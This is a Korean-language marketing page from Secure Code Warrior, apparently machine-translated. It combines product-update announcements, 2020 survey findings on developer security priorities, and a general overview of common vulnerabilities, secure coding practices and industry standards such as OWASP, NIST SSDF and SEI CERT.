안전한 코드에 대한 관점

Secure Code Warrior 고객 경험을 개선하고 플랫폼을 통해 가치를 더하기 위해 끊임없이 혁신합니다.

이번 달에는 코스 관리 경험에 대한 새로운 업데이트, 대기 시간 단축으로 새 기능에 대한 조기 접근 가능성, 그리고 SAP:ABAP 콘텐츠를 출시했습니다.

이제 관리자는 모든 언어 및 취약점 범주에 걸쳐 대량 작업을 수행할 수 있는 강력한 표 형식 보기를 통해 최종 사용자에게 향상된 경험을 제공하며 코스를 보다 쉽게 관리할 수 있습니다. 또한 간단한 활성화/비활성화 버튼을 통해 새로운 기능에 대한 사전 접근 권한을 얻을 수 있습니다.

자, 함께 뛰어들어 더 많은 것을 발견해 봅시다!

새로운 코스 제작 환경으로 더 쉽게 코스를 만들고 관리하세요

이제 일괄 작업을 통해 다양한 학습 경로와 언어로 구성된 과정을 손쉽게 설계하고 구현할 수 있습니다. 프로세스를 반복하는 데 시간을 할애하지 않고 콘텐츠와 전략에 더 집중함으로써 개발자들이 보다 효과적으로 학습할 수 있도록 지원하세요.

현재, 코스 생성 워크플로 업데이트는 기업 관리자가 사용할 수 있습니다.

강력한 표 형식 보기와 검색 기능을 통해 강좌 설계 시간을 절약하세요

이제 모든 언어 및 취약성 범주에 대한 과정 정보를 단일 화면에서 확인할 수 있어, 다양한 개발 팀을 위한 과정을 신속하게 생성하는 것이 용이해졌습니다.

새로운 표 형식 보기 덕분에 콘텐츠 개요를 한눈에 쉽게 파악하거나 세부 사항을 깊이 있게 살펴볼 수 있습니다. 또한 각 그룹 레벨별로 활동 유형, 난이도 등 추가 세부 정보와 함께 언어 및 취약점 범주로 분류되어 있어 코스 콘텐츠 탐색이 더욱 쉬워졌습니다.

검색 기능이나 필터를 적용하여 집중하고자 하는 세부 사항으로 범위를 좁힐 수도 있습니다. 또한 테이블의 데이터를 다른 애플리케이션으로 내보내거나, 모든 행 또는 필터링된 행을 CSV 파일로 내보내 더 깊이 분석할 수 있습니다.

‍

더 적은 클릭으로 더 많은 작업을 수행하세요: 일괄 작업 기능

모든 언어별로 변경 사항을 적용하는 대신, 단일 위치에서 코스에 대한 대량 변경을 수행할 수 있습니다. 대량 작업은 관리자의 시간을 절약해 주며, 개발자에게 적합한 코스 경험을 설계하는 데 집중할 수 있도록 합니다.

새로운 대규모 조치에는 다음이 포함됩니다:

• 모든 언어에 대해 OWASP 상위 10개 취약점이나 특정 취약점 범주와 같은 접근 방식을 과정에 추가하십시오.
• 코스에 언어를 추가하고 콘텐츠를 빠르게 업데이트하세요
• 선택한 행 또는 모든 행의 모듈 복사, 잠금 또는 잠금 해제
• 과정에서 언어 또는 모듈 제거
• 모든 언어에 대해 환영 메시지와 과정 종료 메시지를 한 번에 설정하세요.

‍

과정 종료 시 평가 일정

이제 각 언어별로 학기말 평가를 맞춤 설정하고 단일 화면에서 관리할 수 있습니다.

언어 및 코스 유형에 기반한 맞춤형 평가 일정을 손쉽게 생성하여, 코스 완료 시점에 능력을 측정하고 평가할 수 있습니다.

새로운 기능에 대한 사전 접근 권한을 얻으세요

‍

과거에는 새로운 기능이 무엇인지 미리 알고 일반 공개 전에 테스트해보고 싶다면, 고객 성공 매니저와 상담한 후 당사 팀이 해당 기능을 활성화해줄 때까지 기다려야 했습니다.

이제 관리 탭에서 간단한 변경만으로 언제 어떤 기능을 활성화할지 제어할 수 있습니다. 더 이상 기다릴 필요가 없습니다.

단순히 다음으로 이동하십시오 관리 > 더보기 > 얼리 액세스 사용해 보세요.

이 기능은 특히 사용자 경험에 중대한 변화를 수반하는 추가 기능에 활용될 예정이며, 이를 통해 사용자는 자신의 경험을 보다 효과적으로 제어할 수 있게 될 것입니다.

사전 액세스에서 어떤 기능이 제공되는지 알고 싶으신가요? 현재 제공되는 몇 가지 옵션을 확인해 보세요:

개선된 홈페이지를 통해 더욱 통합된 경험을 찾아보세요

과정 업데이트:

1. 미리보기 상태 모드
2. 과정 콘텐츠에 대한 대규모 조치
3. 글로벌 환영 메시지
4. 학기말 활동 개선

현재, 기업 관리자가 사용할 수 있는 조기 접근 옵션이 제공됩니다.

ABAP 애플리케이션을 새로 게시된 교육 콘텐츠로 보호하십시오

이제 ABAP으로 코딩하는 개발자들도 매우 매력적이고 실용적인 안전한 코딩 교육의 즐거움에 동참할 수 있습니다! 새로운 교육은 개발자들이 안전한 코딩 기술을 향상시키고 ABAP 코드의 취약점을 줄이는 데 도움이 될 것입니다.

Secure Code Warrior 코딩 과제 및 미션 Secure Code Warrior 실습 랩)을 통해 다음과 같은 내용을 포괄하는 프로그램을 제공할 수 있습니다:

1. 개발자가 필요할 때 언제든지 이용할 수 있는 자기 주도형 교육
2. 규정 준수, 보안 프레임워크 또는 개발자의 숙련도 수준에 부합하는 맞춤형 학습 경로
3. 재미있는 프로그래밍 대회
4. 안전한 코딩 역량 평가

ABAP 교육 콘텐츠에 대해 자세히 알아보려면 여기를 클릭하세요.

------

Secure Code Warrior 사용해 보고 싶으신가요 Secure Code Warrior 아직 계정이 없으신가요? 지금 바로 무료 체험 계정에 가입하여 시작해 보세요.

이번 달 신규 기능 요약입니다! 최신 버전 및 개선 사항 업데이트를 받으려면 Secure Code Warrior 팔로우하세요.

최근 몇 년간 시장 출시 속도를 위해 네트워크 보안, 고객의 기밀 데이터 테라바이트, 그리고 브랜드의 귀중한 평판 등 많은 것들이 희생되었습니다. 새로운 기능과 성능 출시를 가속화해야 한다는 강렬한 압박으로 인해 복잡하고 분산된 팀들은 신속한 개발에 집중하게 되었으며, 이 과정에서 발생할 수 있는 취약점이나 막대한 위험에 대한 인식은 부족했습니다. 지금 그 어느 때보다 새로운 업무 방식이 요구됩니다. 이에 2020년, Secure Code Warrior Evans Data Corp.에 Secure Code Warrior 개발자와 관리자들의 안전한 코딩, 보안 코드 관행, 보안 운영에 대한 태도를 조사하는 1차 연구*를 수행했습니다(기술 문서 사본 다운로드). 여기).

프로젝트 성공을 위한 성과 지표: 보안은 어디에 위치하는가?

개발자와 관리자들은 안전한 코드를 갖는 것이 중요하다고 생각하지만, 다른 요소들만큼 중요하지는 않다고 여깁니다. 개발자와 관리자들에게 소프트웨어 개발 프로세스에서 가장 중요한 우선순위가 무엇인지 물었을 때:

• 지정 애플리케이션 성능 76%
• 62%가 기능과 특성을 선택했습니다.
• 그리고 선택된 안전한 코드의 50% 이상
  

다른 프로젝트 성공 성과 지표와 비교했을 때, 안전한 코딩은 현재 한참 뒤처진 3위를 차지하고 있다.

현재, 아마도 놀랍지 않게도, 개발자들은 프로젝트의 성공을 프로젝트 완료 후에만 코드를 평가하는 성능 지표에 따라 판단합니다.

그러나 미래에 이 상황이 어떻게 바뀔 수 있는지 묻자, 전망은 완전히 뒤바뀌었다. 조직들이 성공의 지표로서 보안을 다루는 방식이 변화하고 있다. 안전한 코딩이 점점 더 중요한 우선순위로 부상하고 있습니다.

미래 프로젝트 성공을 측정하는 가장 중요한 우선순위에 대해 질문했을 때, 응답자의 79%가 안전한 코딩의 중요성이 증가할 것이라고 동의했습니다. 주목할 점은 다른 어떤 성과 지표보다도 미래에 보안의 중요성이 더 크게 증가할 것이라고 생각하는 비율이 더 높다는 것입니다. 안전한 코딩에 대한 인식은 점점 더 높아지고 있으며, '왼쪽으로 이동'하는 움직임도 마찬가지입니다. 본질적으로 안전한 코딩 관행은 SDLC(소프트웨어 개발 수명주기)의 훨씬 초기 단계에서 보안을 고려하는 것을 의미합니다. 이는 보안을 나중으로 미루지 않고, 소프트웨어를 작성하는 초기 단계부터 적극적으로 구축하는 것을 의미합니다.

CIO들이 조직의 민첩성을 높이기 위해 노력함에 따라 안전한 코딩 역량은 핵심적인 혁신 무기가 될 것입니다. CIO와 CISO는 개발 팀이 위험의 최전선인지 방어의 최전선인지 신중히 고려해야 합니다.

이 정보는 조직이 개발자를 교육하는 방식에 근본적인 시사점을 제공합니다. 팀은 최근 발견된 취약점에 대해 학습하고, 자신들이 사용하는 언어 또는 프레임워크 내에서 이를 습득해야 합니다. 요약하자면, 개발자들은 일상적으로 작업하는 환경에서 코드 내 알려진 취약점을 찾아내고 식별하며 수정하는 방법을 이해해야 합니다.

안전한 코딩의 변화를 주도하는 Secure Code Warrior 개발자가 안전한 코딩 기술을 배우고 발전시킬 수 있도록 적극적으로 참여시키는 사람 중심 접근 방식을 Secure Code Warrior . 팀이 보안성을 저해하지 않으면서도 안전하게 코드를 더 빠르게 배포할 수 있는 역량을 확보하는 데 미칠 잠재적 영향을 확인하고 싶다면, 지금 데모를 예약하세요.

‍

반응에서 예방으로: 변화하는 애플리케이션 보안의 양상 Secure Code Warrior Evans Data Corp. 2020

소프트웨어 취약점이 사후 고려 사항이나 혁신의 장애물로 여겨질 때, 조직은 데이터 유출, 평판 손상 및 막대한 법적 책임의 문을 열어놓게 됩니다. 사이버 공격은 대개 보다 견고한 개발 관행으로 방지할 수 있었던 코드의 취약점을 악용합니다.

안전한 코딩은 개발의 각 단계에 보안 원칙을 통합함으로써 이러한 과제를 해결합니다. 취약점이 발견된 후에야 해결책을 구현하는 대신, 개발자는 주입 공격 및 크로스 사이트 스크립팅(XSS)과 같은 가장 흔한 위협에 대한 보호 기능을 내장한 코드를 작성합니다. 안전한 코딩이 어떻게 귀사의 위험을 줄이고, 사용자 신뢰를 보호하며, 규제 요건을 준수하는 동시에 신뢰할 수 있고 고품질의 소프트웨어를 제공할 수 있는지 자세히 살펴보겠습니다.

안전한 암호화란 무엇인가요?

안전한 코딩은 소프트웨어 작성 시 잠재적 취약점을 해결하기 위해 보안 모범 사례를 따르는 원칙입니다. 보안을 개발의 별도 단계로 취급하기보다는, 안전한 코딩은 검증된 보안 조치를 초기 단계부터 통합하여 개발자가 코드 보안에 대한 책임감을 갖고 이를 효과적으로 적용할 수 있는 역량을 갖추도록 보장합니다.

오픈 월드와이드 애플리케이션 보안 프로젝트(OWASP)나 소프트웨어 공학 연구소(SII)의 CERT 부서와 같은 기관에서 생산하는 공인된 안전한 코딩 표준은 공격자가 악용하는 일반적인 오류를 피하려는 개발자들에게 나침반 역할을 할 수 있습니다. 기존 워크플로우에 이러한 전략을 안전하게 구현하기 위해 안전한 코딩의 기본 및 실무 기술을 지속적으로 개발하는 것은 현재 사이버 보안 환경에서 필수적입니다. 예를 들어, 가능한 한 많은 사용자 입력을 검증하면 SQL 인젝션 공격을 방지할 수 있으며, 출력을 인코딩하면 XSS를 차단하는 데 도움이 됩니다. 이러한 안전한 코딩 관행은 침해 위험을 줄이고 지속적으로 진화하는 사이버 위협에 대처할 수 있는 더 탄력적인 애플리케이션을 구축할 수 있게 합니다.

왜 안전한 코딩이 그렇게 중요한가요?

안전한 코딩은 개발 과정에서 방지할 수 있었던 취약점을 악용하는 성공적인 사이버 공격이 많기 때문에 중요합니다. 초기 단계부터 안전한 관행을 우선시하면 공격자가 데이터를 유출하거나 운영을 중단시키는 데 악용할 수 있는 결함 발생 가능성을 줄일 수 있습니다. 소프트웨어 개발 수명 주기(SDLC)의 각 단계에 보안을 통합하면 모든 기능, 업데이트 및 통합이 보호를 고려하여 설계되도록 보장합니다.

개발 단계에서 위험을 선제적으로 대응하는 것은 구현 후 해결하는 것보다 훨씬 비용이 적게 듭니다. 구현 후 해결에는 긴급 패치, 가동 중단 시간 및 사고 대응 자원이 필요할 수 있습니다. 또한 데이터 보호 규정 준수를 개선하여 잠재적인 벌금 및 법적 분쟁을 방지합니다. 안전한 코딩 관행은 또한 소비자의 기업 신뢰도를 높이고, 견고한 보안이 브랜드 평판의 일부가 되도록 합니다.

일반적인 코드 보안 취약점

안전한 코딩은 공격자가 악용하는 가장 빈번하고 위험한 취약점과 AI 코딩 도구 사용과 같은 새로운 위협 요인을 방지하는 것을 목표로 합니다. 본 문서는 여러 일반적인 취약점, 이들이 초래할 수 있는 피해, 그리고 안전한 코딩이 이를 완화하는 데 어떻게 도움이 되는지에 대한 개요를 제공합니다.

역직렬화 오류

디시리얼라이제이션 결함은 애플리케이션이 외부 출처의 데이터를 적절한 검증 없이 수신 및 처리할 때 발생합니다. 시리얼라이제이션은 객체를 저장하거나 전송 가능한 형식으로 변환하는 반면, 디시리얼라이제이션은 해당 객체를 재구성하여 사용 가능하게 합니다. 디시리얼라이제이션 결함의 영향은 심각할 수 있으며, 임의 코드 실행이나 권한 상승을 유발할 수 있습니다. 안전한 인코딩은 검증되고 신뢰할 수 있는 데이터만 역직렬화하도록 보장하고, 가능한 경우 신뢰할 수 없는 입력에 대한 네이티브 역직렬화를 완전히 방지함으로써 이 문제를 해결합니다.

주입 공격

주입 공격은 공격자가 애플리케이션이 명령어나 쿼리의 일부로 해석하는 입력을 제공할 때 발생합니다. 가장 잘 알려진 유형은 SQL 주입으로, 악의적인 SQL 문을 쿼리에 삽입하여 데이터베이스 콘텐츠에 접근하거나 수정하는 것입니다. 다른 유형으로는 공격자가 임의의 명령을 실행하는 명령어 주입과 LDAP(경량 디렉터리 액세스 프로토콜) 주입이 있습니다. 주입 공격의 결과는 광범위하며, 데이터에 대한 무단 접근 및 삭제부터 시스템 전체의 위험에 이르기까지 다양합니다. 개인 정보, 금융 정보 또는 사적인 기밀 정보를 포함하는 데이터베이스가 주요 표적이 됩니다. 안전한 코딩은 매개변수화된 쿼리나 준비된 문장을 사용하고, 처리 전 신뢰할 수 없는 데이터를 차단하며, 입력에 대한 엄격한 검증을 적용함으로써 주입 취약점을 방지하는 데 도움이 됩니다. 이러한 안전한 코딩 관행은 공격자가 애플리케이션의 예상 동작을 변경하는 것을 막을 수 있습니다.

크로스 사이트 스크립팅(XSS)

크로스 사이트 스크립팅(XSS) 은 웹 애플리케이션을 대상으로 한 주입 공격의 한 형태로, 다른 사용자가 보는 페이지에 악성 스크립트를 삽입하는 방식으로 이루어집니다. 이는 일반적으로 애플리케이션이 검증되지 않은 사용자 입력을 출력에 포함할 때 발생합니다. 다른 사용자의 브라우저가 해당 페이지를 표시하면 악의적인 스크립트가 실행되어 쿠키를 탈취하거나 키 입력을 가로채거나 사용자를 악성 사이트로 리디렉션할 수 있습니다.

XSS의 영향에는 세션 탈취 및 신원 도용이 포함될 수 있습니다. 기업에게는 이는 고객 신뢰를 훼손하며, 기밀 데이터가 유출될 경우 규제적 결과를 초래할 수 있습니다. 안전한 코딩은 사용자가 제공한 모든 입력을 표시하기 전에 소독 및 인코딩하고, 출력을 자동으로 이스케이프하는 프레임워크를 활용하며, 실행 가능한 스크립트 수를 제한하기 위해 콘텐츠 보안 정책(CSP)을 구현함으로써 XSS를 해결합니다.

접근 통제

제어 취약점은 사용자가 볼 수 있거나 수행할 수 있는 항목에 대한 규칙이 올바르게 정의되거나 적용되지 않을 때 발생합니다. 접근 제어의 중단은 공격자가 의도된 사용자 역할 제한을 우회하고, 잠재적으로 기밀 데이터를 읽거나, 레코드를 수정하거나, 특권 사용자만 수행할 수 있는 작업을 수행할 수 있게 합니다.

접근 제어 문제는 중요한 도전 과제이며, 특히 AI 코딩 도구는 이러한 취약점을 효과적으로 해결하는 데 어려움을 겪어 왔습니다. 이는 개발자의 기술과 인식의 필요성을 부각시킵니다. 접근 제어 중단의 영향은 상당합니다. 예를 들어, 공격자가 관리자 전용 기능에 접근할 수 있다면 보안 설정을 비활성화하거나, 개인 정보를 추출하거나, 다른 사용자로 위장할 수 있습니다.

안전한 코딩 관행은 최소 권한 원칙을 따르고 보안 조치로 오직 은폐(예: 링크 숨기기)에만 의존하지 않으며, 각 요청에 대해 서버 측 인증 검증을 적용함으로써 이러한 위험을 상쇄합니다. 또한 엄격한 접근 제어 테스트를 수행함으로써 이러한 보호 장치가 장기적으로 견고하게 유지되도록 보장합니다.

사이트 간 요청 위조(CSRF)

CSRF(크로스 사이트 요청 위조) 공격은 사용자가 인증된 다른 사이트에서 원치 않는 작업을 수행하도록 강요합니다. 이는 자금 이체, 이메일 주소 변경 또는 계정 설정 수정 등을 포함할 수 있습니다. 이 공격은 브라우저가 위조된 요청과 함께 쿠키와 같은 유효한 인증 토큰을 자동으로 포함시키기 때문에 성공합니다.

안전한 코딩은 사용자 세션마다 고유한 CSRF 방지 토큰을 구현하고 상태 변경 요청마다 이를 검증함으로써 CSRF로부터 보호합니다. 다른 방어 수단으로는 중요한 작업을 수행하기 위한 재인증 요구와 쿠키의 SameSite 속성 설정을 통해 쿠키가 사이트 간 요청과 함께 전송되는 것을 방지하는 것이 포함됩니다. 이러한 보호 기능을 개발 라이프사이클에 통합하면 시스템이 합법적이고 의도된 작업만을 처리할 가능성이 훨씬 높아집니다.

안전하지 않은 인증

불안전한 인증은 사용자의 신원 확인 과정이 취약하거나 예측 가능하거나 결함이 있을 때 발생합니다. 이는 취약한 비밀번호 정책, 불안전한 자격 증명 저장 또는 다중 요소 인증(MFA) 부재로 인해 발생할 수 있습니다. 공격자는 무차별 대입 공격, 자격 증명 도용 또는 전송 중 암호화되지 않은 자격 증명 가로채기 등 다양한 방법으로 이러한 취약점을 악용할 수 있습니다. 안전하지 않은 인증의 영향은 심각합니다. 공격자가 사용자 계정, 관리자 권한 및 기밀 데이터에 직접 접근할 수 있게 하기 때문입니다. 일단 침투하면 시스템을 더욱 심각하게 손상시키거나 중요한 정보를 탈취할 수 있습니다.

안전한 암호화는 안전한 비밀번호 요구사항 적용, 저장된 자격 증명의 해싱 및 솔팅, 모든 인증 교환에 HTTPS와 같은 안전한 프로토콜 사용, 추가 검증 계층을 제공하기 위한 MFA 통합을 통해 이 취약점을 해결합니다. 개발자는 또한 실패한 시도 횟수를 제한하고 의심스러운 활동을 사전에 탐지할 수 있는 로그인 메커니즘을 설계해야 합니다. 이를 통해 인증 시스템이 취약점이 아닌 견고한 방어선 역할을 할 수 있도록 해야 합니다.

안전한 코딩을 위한 6가지 실천 방법

안전한 소프트웨어 개발은 단순히 위협 요소를 파악하는 것 이상을 의미합니다. 검증된 안전한 코딩 관행과 패턴을 학습하고 적용해야 합니다. 다음 기술들은 개발자가 보안성을 각 프로젝트의 핵심 요소로 만들기 위해 취할 수 있는 실질적인 조치들을 제시합니다.

1. 사용자 접근 제어 구현

앞서 언급한 바와 같이, 사용자 접근 제어란 시스템 내 각 사용자 역할에 대한 권한을 정의하고 시행하는 것을 의미합니다. 강력한 접근 제어는 권한이 없는 사용자가 기밀 데이터를 열람하거나 레코드를 수정하거나 관리 작업을 수행하는 것을 방지합니다. 또한 사용자 계정이 침해당할 경우 피해를 제한하는데, 공격자는 해당 계정의 권한만 가질 수 있기 때문입니다.

사용자 접근을 효과적으로 통제하려면 신원을 확인하는 강력한 인증과, 인증된 사용자가 요청된 작업을 수행할 권한이 있는지 확인하는 권한 부여 검증이 필요합니다. 최소 권한 원칙에 부합하도록 접근 제어 관행을 정기적으로 검토해야 합니다. 이를 통해 사용자는 업무 수행에 필요한 최소한의 접근 권한만 부여받게 됩니다. 접근 제어는 또한 정책과 시스템 사용자를 최신 상태로 유지하기 위한 정기적인 모니터링과 함께, 비정상적인 활동을 신속하게 탐지하는 감사를 기반으로 합니다.

2. 데이터를 검증하고 소독하십시오

데이터 검증 및 정제는 모든 입력 데이터를 처리하기 전에 예상되는 형식, 유형 및 패턴을 준수하는지 확인하고, 이후 잠재적으로 위험한 콘텐츠를 제거하기 위해 데이터를 정리하는 과정을 의미합니다. 이러한 관행은 모든 외부 출처의 입력 데이터에 적용되어야 합니다. 신뢰할 수 있는 출처조차도 침해될 수 있으므로, 검증되기 전까지는 모든 입력을 신뢰할 수 없는 것으로 간주해야 합니다. 검증 및 정화 작업을 개발 프로세스에 통합함으로써, 주입 공격과 같은 가장 흔한 위협에 대한 애플리케이션의 복원력을 유지할 수 있습니다.

3. 현대적인 언어로 작성하십시오

안전한 코딩은 단순히 코드를 작성하는 방식만을 의미하지 않습니다. 무엇보다도 보안 결함의 유입을 방지하는 데 도움이 되는 도구와 환경을 선택하는 것도 중요합니다. 비록 완전히 현대적인 언어로 전환하는 것이 많은 기업에게 현실적이거나 효율적인 선택이 아닌 경우가 많지만, 최소한 어느 정도는 현대적인 프로그래밍 언어를 사용하고(선택한 모든 언어의 최신 버전을 사용함으로써) 소프트웨어의 보안을 향상시킬 수 있습니다. 현대적인 언어와 프레임워크는 일반적으로 향상된 메모리 보호, 더 강력한 타입 검사, 그리고 가장 흔한 취약점에 대한 내장형 방어 기능을 제공합니다. 예를 들어, Rust나 Go 같은 언어는 보안을 고려하여 설계되어, 오래된 언어에서 더 자주 발생하는 버퍼 오버플로우 같은 문제를 방지하는 데 도움이 됩니다.

자바나 파이썬과 같은 기존 언어는 현대화하고 보호하기 어려울 수 있지만, 최신 버전을 유지하면 최신 보안 기능과 성능 개선 사항을 이용할 수 있습니다. 많은 업데이트는 알려진 취약점을 수정하고, 안전하지 않은 기능을 제거하며, 더 안전한 기본 설정을 제공합니다.

4. 코드 난독화 연습하기

코드 난독화는 공격자가 소스 코드나 컴파일된 코드를 이해하거나 리버스 엔지니어링하거나 조작하기 어렵게 만드는 과정입니다. 다른 보안 조치를 대체하지는 않지만, 애플리케이션의 핵심 논리와 민감한 루틴을 외부 시선으로부터 숨김으로써 추가적인 방어 계층을 제공합니다. 난독화에는 변수 및 함수 이름을 의미 없는 식별자로 변경하거나 코드를 이해하기 어렵게 재구성하는 등의 기술이 포함될 수 있습니다.

목표는 공격자가 취약점을 찾아내고 악용하는 데 필요한 비용과 노력을 증가시키는 것입니다. 안전한 코딩에서 난독화는 다른 견고한 보안 관행과 함께 작동하여 애플리케이션을 덜 매력적인 목표로 만듭니다.

5. 코드를 스캔하고 모니터링하세요

안전한 코딩 관행은 또한 코드의 능동적인 스캔 및 모니터링을 포함합니다. 정적 애플리케이션 보안 테스트(SAST) 도구는 배포 전에 알려진 취약점을 탐지하기 위해 소스 코드를 분석하는 반면, 동적 애플리케이션 보안 테스트(DAST) 도구는 실행 중인 애플리케이션을 실시간으로 검사하여 악용될 수 있는 결함을 찾아냅니다. 두 접근 방식을 결합하면 문제를 조기에 지속적으로 탐지하는 데 도움이 됩니다.

개발 단계에서의 스캐닝을 넘어, 운영 환경에서의 지속적인 모니터링 구현이 필수적입니다. 이는 비정상적인 활동을 감지하기 위한 경고 설정, 보안 이벤트 기록, 그리고 실행 시점에 애플리케이션 자체 방어 도구(RASP)를 활용하여 실시간으로 공격을 탐지하고 차단하는 것을 의미합니다. 주기적인 분석과 모니터링을 통해 개발 과정에서 취약점이 유출되더라도, 심각한 피해가 발생하기 전에 신속하게 대응할 수 있는 가시성을 확보할 수 있습니다.

6. 안전한 코딩 표준을 문서화하고 구현하십시오

안전한 코딩 표준 문서화는 팀이 안전하고 유지보수가 용이하며 호환성 있는 코드를 작성하는 방식을 정의하는 명확한 지침 세트를 만드는 것입니다. 이러한 표준은 입력 검증, 오류 처리, 암호화 관행, 세션 관리와 같은 주제를 다루어야 하며, 기술 제공 사항에 특화된 일반적인 취약점을 해결하는 방법도 포함해야 합니다.

이러한 표준의 구현은 주니어 엔지니어부터 시니어 아키텍트에 이르기까지 모든 개발자가 동일한 보안 원칙을 따르도록 보장합니다. 정기적인 교육 및 업데이트와 결합될 때, 이러한 표준은 개발 프로세스를 최신 보안 요구사항과 지속적으로 부합하도록 유지하는 살아있는 자원이 됩니다.

안전한 코딩 표준 및 프레임워크

자체 코딩 표준을 수립하는 데 도움이 필요하다면, 아래에 소개된 인기 있는 가이드라인이 유용할 수 있습니다. 이 가이드라인들은 가장 흔한 취약점을 다루는 다양한 관행을 포괄하며, 코딩 작업을 업계 모범 사례에 부합하도록 조정하는 방법을 명확히 하는 데 도움이 될 수 있습니다.

OWASP 보안 코딩 관행

OWASP는 개발자가 코드 전반에 걸쳐 보안을 통합하고자 할 때 가장 널리 인정받는 출처 중 하나입니다. OWASP 개발자 가이드와 OWASP Top 10과 같은 안전한 코딩을 위한 핵심 자료를 제공합니다. OWASP의 접근 방식은 매우 실용적이며, 개발자가 개발 과정에서 적용할 수 있는 체크리스트와 코딩 팁을 제공합니다.

OWASP 지침을 따르는 것은 모든 프로젝트에서 안전한 코딩을 위한 공통 기반을 마련함으로써 팀에 이점을 제공합니다. OWASP는 새로운 위협 벡터와 공격 기법을 반영하기 위해 정기적으로 업데이트되므로, 조직은 이를 활용하여 새롭게 등장하는 위험을 선제적으로 대비할 수 있습니다. OWASP 원칙을 워크플로우에 통합함으로써 코드 품질을 향상시키고 취약점을 줄이며 업계에서 널리 인정받는 지침을 준수할 수 있습니다.

NIST 보안 소프트웨어 개발 프레임워크

미국 국립표준기술연구소(NIST)는 포괄적인 사이버 보안 프레임워크와 함께 안전한 코딩에 관한 종합 가이드를 발간합니다. NIST의 안전한 소프트웨어 개발 프레임워크(SSDF) 는 안전한 소프트웨어 개발에 관한 고수준 실무 정보를 제공하는 것 외에도, 기업 내 팀 간 핵심 사안에 대한 의사소통을 개선하는 공통 용어를 제시합니다. 특정 기술보다 결과에 중점을 두므로 OWASP나 SEI CERT 코딩 표준과 같은 다른 표준과 함께 보완하여 사용하는 것이 좋습니다.

SEI CERT 코딩 표준

소프트웨어 공학 연구소(SEI)의 CERT 부서에서 개발한 SEI CERT 코딩 표준은 C, C++, Java, Perl 등 특정 프로그래밍 언어의 보안 취약점 방지에 중점을 둡니다. 각 언어별 표준에는 안전한 코딩 규칙, 상세한 설명, 호환 및 비호환 코드 예시가 포함됩니다. CERT 코딩 표준은 특정 프로그래밍 언어의 미묘한 차이점과 특이점을 다루기 때문에 해당 환경에서 작업하는 개발자들에게 매우 유용하고 실용적입니다.

Microsoft 보안 개발 수명 주기

Microsoft 보안 개발 수명주기(SDL)는 보안을 소프트웨어 개발 프로세스의 핵심 요소로 만들기 위해 설계된 일련의 관행입니다. 위협 모델링, 개발자 대상 보안 교육, 소프트웨어 공급망 보호 등 10가지 주요 주제에 대한 권장 사항을 포함합니다. 마이크로소프트는 자체적으로 이 접근 방식을 활용하므로, 조직은 개발자, 평가자 및 보안 팀을 조율하는 검증된 프로세스의 혜택을 누릴 수 있습니다.

ISO/IEC 27001

ISO/IEC 27001은 정보 보안 관리 시스템(ISMS) 표준으로 가장 잘 알려져 있지만, 안전한 코딩에도 중요한 함의를 지닙니다. 조직 전체를 위한 ISMS 구축에 중점을 두면서도 안전한 코딩에 관한 원칙을 포함하고 있습니다. 이러한 권고 사항은 조직이 안전한 코딩 관행을 구현하기 위해 노력할 때 따를 수 있는 고수준 지침을 제공합니다.

인공지능 안전 규칙

AI 코딩 도구는 그 어느 때보다 유용하지만, 사용 결과가 안전하고 정확한 코드로 이어지지 않는다면 오히려 해가 될 수 있습니다. Secure Code Warriors의 AI 보안 규칙 — 최초의 가이드라인 — GitHub Copilot, Cline, Cursor, Windsurf와 같은 AI 도구 사용 시 안전한 코딩 모범 사례에 대한 지침을 제공합니다. 이 규칙들은 AI 기반 코딩 어시스턴트가 올바른 방향으로 작동하도록 보장하며, 안전하지 않은 코드 위험을 최소화하는 장벽을 설정합니다.

처음부터 안전한 코드 작성법을 배우세요

안전한 코딩은 단순한 기술적 요구사항을 넘어 핵심적인 비즈니스 이점입니다. 팀이 처음부터 안전한 코드를 작성하면 비용이 많이 드는 취약점을 방지하고, 데이터 유출 위험을 줄이며, 고객이 신뢰할 수 있는 소프트웨어를 제공할 수 있습니다. 그러나 체계적인 지침 없이는 안전한 코딩 관행을 숙달하는 것이 특히 어려울 수 있습니다. 개발자들은 실제 사례 기반의 실무 지침, 진화하는 위협에 대한 최신 지식, 그리고 코드의 각 줄마다 보안 원칙을 자신 있게 적용할 수 있는 방법을 필요로 합니다.

Secure Code Warrior ISO 27001 인증 Secure Code Warrior SOC 2 호환 애자일 학습 플랫폼은 팀에 정확히 이를 제공합니다. 각 언어별 보안 모범 사례 교육, 현실적인 프로그래밍 과제, 다양한 역할을 위한 선별된 콘텐츠 덕분에 보안은 사후 고려사항이 아닌 개발 프로세스의 자연스러운 일부로 자리잡습니다. 개발자들은 취약점을 조기에 식별하고 수정하는 데 필요한 기술을 습득하며, 업계 표준에 적응하고 소프트웨어 개발 라이프사이클 전반에 걸쳐 코드 보안에 대한 완전한 책임을 지게 됩니다. Secure Code Warrior 사용하는 기업들이 소프트웨어 취약점을 53% Secure Code Warrior , 최대 1,400만 달러의 비용 절감을 달성하며, 개발자의 92%가 추가 교육을 원한다는 점은 놀라운 일이 아닙니다.

팀이 첫날부터 더 안전하고 보안이 강화된 코드를 작성하는 방법을 확인하려면, 지금 바로 Secure Code Warrior 데모를 예약하세요.

Secure Code Warrior 끊임없이 혁신하여 개발자와 조직이 오늘날 끊임없이 변화하는 보안 과제에 대처할 수 있는 적절한 역량을 갖추도록 지원합니다. 이를 위해 당사는 애자일 방식의 안전한 코딩 학습 플랫폼을 통해 개발자가 원하는 방식으로 학습할 수 있도록 지원하며, 업계에서 가장 포괄적이고 신뢰할 수 있는 취약점 관련 콘텐츠를 제공합니다.

지난 분기, Secure Code Warrior 기업 관리자가 토너먼트를 여러 브랜드 및 조직으로 확장하고 SCIM 프로비저닝을 통해 사용자를 보다 간편하게 관리할 수 있는 새로운 방식을 Secure Code Warrior . 또한 새로운 코딩 가이드라인이 Jira에서 이용 가능해졌으며, 성능 보고서와 프로그램의 새로운 워크플로에 대한 프리뷰 버전도 제공된다는 소식을 알려드립니다.

자, 더 알아보기 위해 깊이 들어가 보자!

SCW 플랫폼의 폭과 깊이 확장

Secure Code Warrior 지속적인 Secure Code Warrior 당사 모듈이 현재 사이버 보안 환경에서 여러분이 알아야 할 내용에 부합하도록 관련성과 시의적절성을 유지하는 데 기여합니다. 업계 최고의 폭과 깊이를 자랑하며 60개 이상의 언어를 지원하는 당사 플랫폼을 통해 다양한 언어와 프레임워크를 사용하는 개발자를 위한 민첩한 학습 프로그램을 손쉽게 구축하고 확장할 수 있습니다.

이제 이용 가능합니다: Jira 코딩 가이드라인

